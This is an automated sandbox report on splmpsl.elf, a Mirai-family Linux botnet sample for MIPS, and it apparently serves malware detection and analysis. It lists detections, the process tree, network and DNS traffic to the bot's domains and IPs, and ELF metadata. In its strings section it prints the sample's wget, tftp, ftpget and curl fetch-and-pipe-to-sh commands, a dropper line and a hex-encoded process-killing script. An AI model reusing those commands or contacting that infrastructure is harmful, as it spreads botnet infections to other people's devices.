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Linux Analysis Report
splmpsl.elf

Overview

General Information

Sample name:	splmpsl.elf
Analysis ID:	1580186
MD5:	ac0cb325ea3475fe7ed249c7670eec89
SHA1:	d92e9dfcbd49a82f81a880a82394586f869c31d7
SHA256:	91a4761b11dfe91398ebe435c3041546e7cae65dd8c927e9069075ee8df64d0f
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580186
Start date and time:	2024-12-24 03:56:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splmpsl.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/113@3/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/splmpsl.elf
PID:	5636
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splmpsl.elf (PID: 5636, Parent: 5561, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/splmpsl.elf

splmpsl.elf New Fork (PID: 5638, Parent: 5636)

splmpsl.elf New Fork (PID: 5640, Parent: 5638)

splmpsl.elf New Fork (PID: 5642, Parent: 5638)

splmpsl.elf New Fork (PID: 5643, Parent: 5638)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4D

Source: splmpsl.elf	ReversingLabs: Detection: 42%
Source: splmpsl.elf	Virustotal: Detection: 45%			Perma Link

Source: global traffic	TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.14:38562 -> 154.216.16.250:38241
Source: global traffic	TCP traffic: 192.168.2.14:38294 -> 209.38.192.73:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 111.241.84.233
Source: unknown	TCP traffic detected without corresponding DNS query: 105.166.103.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.55.229.99
Source: unknown	TCP traffic detected without corresponding DNS query: 196.35.12.120
Source: unknown	TCP traffic detected without corresponding DNS query: 200.245.76.17
Source: unknown	TCP traffic detected without corresponding DNS query: 182.148.154.1
Source: unknown	TCP traffic detected without corresponding DNS query: 66.48.201.228
Source: unknown	TCP traffic detected without corresponding DNS query: 24.183.147.241
Source: unknown	TCP traffic detected without corresponding DNS query: 187.242.85.27
Source: unknown	TCP traffic detected without corresponding DNS query: 34.252.227.53
Source: unknown	TCP traffic detected without corresponding DNS query: 9.175.198.48
Source: unknown	TCP traffic detected without corresponding DNS query: 99.105.162.246
Source: unknown	TCP traffic detected without corresponding DNS query: 169.64.100.145
Source: unknown	TCP traffic detected without corresponding DNS query: 199.136.170.107
Source: unknown	TCP traffic detected without corresponding DNS query: 111.241.84.233
Source: unknown	TCP traffic detected without corresponding DNS query: 105.166.103.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.55.229.99
Source: unknown	TCP traffic detected without corresponding DNS query: 220.46.62.21
Source: unknown	TCP traffic detected without corresponding DNS query: 196.35.12.120
Source: unknown	TCP traffic detected without corresponding DNS query: 131.45.214.147
Source: unknown	TCP traffic detected without corresponding DNS query: 200.245.76.17
Source: unknown	TCP traffic detected without corresponding DNS query: 135.44.105.129
Source: unknown	TCP traffic detected without corresponding DNS query: 7.183.168.166
Source: unknown	TCP traffic detected without corresponding DNS query: 182.148.154.1
Source: unknown	TCP traffic detected without corresponding DNS query: 170.184.231.44
Source: unknown	TCP traffic detected without corresponding DNS query: 66.48.201.228
Source: unknown	TCP traffic detected without corresponding DNS query: 207.24.165.194
Source: unknown	TCP traffic detected without corresponding DNS query: 24.183.147.241
Source: unknown	TCP traffic detected without corresponding DNS query: 100.148.137.119
Source: unknown	TCP traffic detected without corresponding DNS query: 187.242.85.27
Source: unknown	TCP traffic detected without corresponding DNS query: 4.188.85.246
Source: unknown	TCP traffic detected without corresponding DNS query: 34.252.227.53
Source: unknown	TCP traffic detected without corresponding DNS query: 9.175.198.48
Source: unknown	TCP traffic detected without corresponding DNS query: 36.230.26.127
Source: unknown	TCP traffic detected without corresponding DNS query: 99.105.162.246
Source: unknown	TCP traffic detected without corresponding DNS query: 196.53.178.148
Source: unknown	TCP traffic detected without corresponding DNS query: 121.182.98.64
Source: unknown	TCP traffic detected without corresponding DNS query: 65.205.63.0
Source: unknown	TCP traffic detected without corresponding DNS query: 153.74.192.21
Source: unknown	TCP traffic detected without corresponding DNS query: 52.99.65.215
Source: unknown	TCP traffic detected without corresponding DNS query: 184.225.13.253
Source: unknown	TCP traffic detected without corresponding DNS query: 15.244.131.47
Source: unknown	TCP traffic detected without corresponding DNS query: 151.76.75.183
Source: unknown	TCP traffic detected without corresponding DNS query: 17.162.186.34
Source: unknown	TCP traffic detected without corresponding DNS query: 201.108.130.96
Source: unknown	TCP traffic detected without corresponding DNS query: 98.166.187.100
Source: unknown	TCP traffic detected without corresponding DNS query: 83.207.71.202
Source: unknown	TCP traffic detected without corresponding DNS query: 205.124.250.37
Source: unknown	TCP traffic detected without corresponding DNS query: 95.49.55.188
Source: unknown	TCP traffic detected without corresponding DNS query: 6.255.162.50

Source: global traffic	DNS traffic detected: DNS query: serisbot.geek
Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn

Source: splmpsl.elf	String found in binary or memory: http:///curl.sh
Source: splmpsl.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5670/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5670/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5660/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5660/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5671/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5671/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5661/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5661/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5672/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5672/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5662/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5662/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5673/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5673/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5663/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5663/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5674/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5674/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5664/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5664/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5665/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5665/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5666/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5666/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5667/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5667/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5657/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5657/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5657/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5657/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5668/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5668/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5658/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5658/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5658/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5658/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5669/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5669/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5724/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5724/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5659/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5659/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5659/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5642)	File opened: /proc/5659/cmdline	Jump to behavior

Source: splmpsl.elf, 5636.1.00005625afb69000.00005625afbf0000.rw-.sdmp, splmpsl.elf, 5640.1.00005625afb69000.00005625afbf0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: splmpsl.elf, 5636.1.00007fffa9245000.00007fffa9266000.rw-.sdmp, splmpsl.elf, 5640.1.00007fffa9245000.00007fffa9266000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/splmpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splmpsl.elf
Source: splmpsl.elf, 5636.1.00005625afb69000.00005625afbf0000.rw-.sdmp, splmpsl.elf, 5640.1.00005625afb69000.00005625afbf0000.rw-.sdmp	Binary or memory string: %V!/etc/qemu-binfmt/mipsel
Source: splmpsl.elf, 5636.1.00007fffa9245000.00007fffa9266000.rw-.sdmp, splmpsl.elf, 5640.1.00007fffa9245000.00007fffa9266000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	209.38.192.73	true	false		high
serisbot.geek	209.38.192.73	true	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splmpsl.elf	false		high
http:///curl.sh	splmpsl.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
190.133.230.229	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
90.94.13.42	unknown	France	12479	UNI2-ASES	false
220.107.25.227	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
149.199.194.26	unknown	United States	32537	XILINXUS	false
9.15.46.98	unknown	United States	3356	LEVEL3US	false
1.25.109.195	unknown	China	139007	UNICOM-NM-WULANCHABU-IDCUNICOMInnerMongoliaprovincenetwo	false
191.235.21.182	unknown	Brazil	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
98.192.92.152	unknown	United States	7922	COMCAST-7922US	false
139.131.245.214	unknown	United States	14297	ACI-WORLDWIDEUS	false
75.143.190.12	unknown	United States	20115	CHARTER-20115US	false
174.30.138.101	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
8.155.30.4	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
101.185.45.34	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
118.37.61.104	unknown	Korea Republic of	10182	HAEWOON-AS-KRKoreaShippingAssociationKR	false
208.160.183.160	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
194.198.44.188	unknown	Sweden	2686	ATGS-MMD-ASUS	false
47.115.224.209	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
221.49.10.164	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
42.254.166.182	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
210.148.60.23	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
62.33.174.93	unknown	Russian Federation	20485	TRANSTELECOMMoscowRussiaRU	false
222.66.139.70	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
76.138.137.208	unknown	United States	7922	COMCAST-7922US	false
54.112.217.252	unknown	United States	16509	AMAZON-02US	false
203.51.103.203	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
17.84.220.201	unknown	United States	714	APPLE-ENGINEERINGUS	false
171.136.188.205	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
205.60.27.151	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
38.41.49.6	unknown	United States	174	COGENT-174US	false
98.219.158.116	unknown	United States	7922	COMCAST-7922US	false
213.61.123.198	unknown	Germany	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
194.102.244.138	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	false
62.53.251.97	unknown	Germany	6805	TDDE-ASN1DE	false
182.208.74.212	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
49.240.82.254	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
150.127.36.116	unknown	United States	3955	WANG-US-1US	false
69.132.86.246	unknown	United States	11426	TWC-11426-CAROLINASUS	false
94.148.22.21	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
30.0.136.248	unknown	United States	7922	COMCAST-7922US	false
82.160.52.141	unknown	Poland	20960	TKTELEKOM-ASPL	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	splppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	jklx86.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	arm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	jklmips.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	zerspc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nklsh4.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splx86.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	zerm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	zermpsl.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
serisbot.geek	splppc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
serisbot.geek	arm7.elf	Get hash	malicious	Unknown	Browse	154.216.16.244

Source	Detection	Scanner	Label	Link
splmpsl.elf	42%	ReversingLabs	Linux.Backdoor.Mirai
splmpsl.elf	45%	Virustotal		Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNI2-ASES	sh4.elf	Get hash	malicious	Unknown	Browse	90.175.54.170
	armv4l.elf	Get hash	malicious	Unknown	Browse	145.1.227.95
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	92.179.120.166
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	188.78.162.149
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	89.192.80.161
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	213.77.164.108
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	87.220.191.59
	nsharm7.elf	Get hash	malicious	Mirai	Browse	92.191.124.64
	nshkmips.elf	Get hash	malicious	Mirai	Browse	90.74.177.123
	hmips.elf	Get hash	malicious	Mirai	Browse	91.243.156.131
XILINXUS	nklsh4.elf	Get hash	malicious	Unknown	Browse	149.199.194.17
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	149.199.228.147
	yakuza.i686.elf	Get hash	malicious	Mirai	Browse	149.199.228.194
	mips.elf	Get hash	malicious	Mirai, Gafgyt	Browse	149.199.169.64
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	149.199.170.62
	hCNsvwoPS6.elf	Get hash	malicious	Unknown	Browse	149.199.194.10
	na.elf	Get hash	malicious	Mirai	Browse	149.199.170.68
	SecuriteInfo.com.Linux.Siggen.9999.22346.25774.elf	Get hash	malicious	Mirai	Browse	149.199.75.228
	ingxqWafxG.elf	Get hash	malicious	Unknown	Browse	149.199.75.224
	7d1vWc1Lgm.elf	Get hash	malicious	Mirai	Browse	149.199.169.69
AdministracionNacionaldeTelecomunicacionesUY	splppc.elf	Get hash	malicious	Unknown	Browse	179.24.26.151
	arm5.elf	Get hash	malicious	Unknown	Browse	179.28.14.14
	armv7l.elf	Get hash	malicious	Unknown	Browse	190.133.198.26
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	190.132.106.90
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	167.110.137.105
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	167.58.131.66
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	179.31.197.1
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	190.132.221.80
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	167.108.117.218
	nshkmpsl.elf	Get hash	malicious	Mirai	Browse	167.109.47.70
OCNNTTCommunicationsCorporationJP	splppc.elf	Get hash	malicious	Unknown	Browse	153.147.196.67
	arm7.elf	Get hash	malicious	Unknown	Browse	219.165.153.100
	arm5.elf	Get hash	malicious	Unknown	Browse	165.241.54.180
	nabarm5.elf	Get hash	malicious	Unknown	Browse	123.227.69.175
	nklppc.elf	Get hash	malicious	Unknown	Browse	60.40.120.122
	armv4l.elf	Get hash	malicious	Unknown	Browse	153.130.250.21
	armv7l.elf	Get hash	malicious	Unknown	Browse	153.189.184.143
	armv4l.elf	Get hash	malicious	Unknown	Browse	222.148.191.37
	https://staging.effimate.toyo.ai-powered-services.com/	Get hash	malicious	Unknown	Browse	122.17.136.74
	2.elf	Get hash	malicious	Unknown	Browse	157.104.59.178

Process:	/tmp/splmpsl.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.172745459086889
Encrypted:	false
SSDEEP:	6:URYNDF8L0Y/VUS/FYDFDCY/VpHHT/VDM/V+4D/VH:IYt9S/FQRbHHRMfF
MD5:	E26B9F0FF2CCFA2A0887D91B7CC8F90A
SHA1:	C619738FC7F95AB003FBF44DFDAD53126373A98E
SHA-256:	95C63CB5461B88356693EB66D2AAF9F6A2027ADEAD1B864B50FE3E36ABB566DD
SHA-512:	2DD39A8278A566A9E5C82E2185D82B53CB68E62C0AED958314128BF060300755B93267C71D37B6CC1E86908D1A6903420D8DB86DA6325C9A81B3A17B6665465B
Malicious:	false
Reputation:	low
Preview:	400000-414000 r-xp 00000000 fd:00 531606 /tmp/..453000-454000 rw-p 00013000 fd:00 531606 /tmp/..454000-456000 rw-p 00000000 00:00 0 .456000-457000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.517660470567174
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splmpsl.elf
File size:	82'128 bytes
MD5:	ac0cb325ea3475fe7ed249c7670eec89
SHA1:	d92e9dfcbd49a82f81a880a82394586f869c31d7
SHA256:	91a4761b11dfe91398ebe435c3041546e7cae65dd8c927e9069075ee8df64d0f
SHA512:	12241b8515f11082945e4eae0ecd9eecfb3c5c75f8cdd069f8d43967fdd50f83a8c07e94c9003fae921379c6bddefa0bab1dbe8428bda4b6116d8ab5279188f8
SSDEEP:	1536:x62JFZaw21VMNzR5wK8DqWDekmTJASgHNkVxudT3bsR:x6WDv21ONzCBdT3
TLSH:	3A8393497F654FEBDC6FCC3745BA5B04288C910A22983B767D34E818F65B24F1AE3864
File Content Preview:	.ELF....................`.@.4...x>......4. ...(...............@...@..7...7...............7...7E..7E.X...4...........Q.td...............................<...'!......'.......................<x..'!... .........9'.. ........................<H..'!............(9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	81528
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x12830	0x0	0x6	AX	16
.fini	PROGBITS	0x412950	0x12950	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4129b0	0x129b0	0xe00	0x0	0x2	A	16
.ctors	PROGBITS	0x4537b4	0x137b4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x4537bc	0x137bc	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x4537c4	0x137c4	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x4537c8	0x137c8	0xe0	0x0	0x3	WA	4
.data	PROGBITS	0x4538b0	0x138b0	0x190	0x0	0x3	WA	16
.got	PROGBITS	0x453a40	0x13a40	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x453e0c	0x13e0c	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x453e30	0x13e0c	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0x13e0c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x13e0c	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x137b0	0x137b0	5.5374	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x137b4	0x4537b4	0x4537b4	0x658	0x1834	3.7708	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 03:57:31.145158052 CET	192.168.2.14	168.235.111.72	0x4a5b	Standard query (0)	serisbot.geek	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:57:43.131488085 CET	192.168.2.14	194.36.144.87	0x9c22	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:57:55.624223948 CET	192.168.2.14	202.61.197.122	0xce39	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 03:57:31.455544949 CET	168.235.111.72	192.168.2.14	0x4a5b	No error (0)	serisbot.geek	209.38.192.73	A (IP address)	IN (0x0001)	false
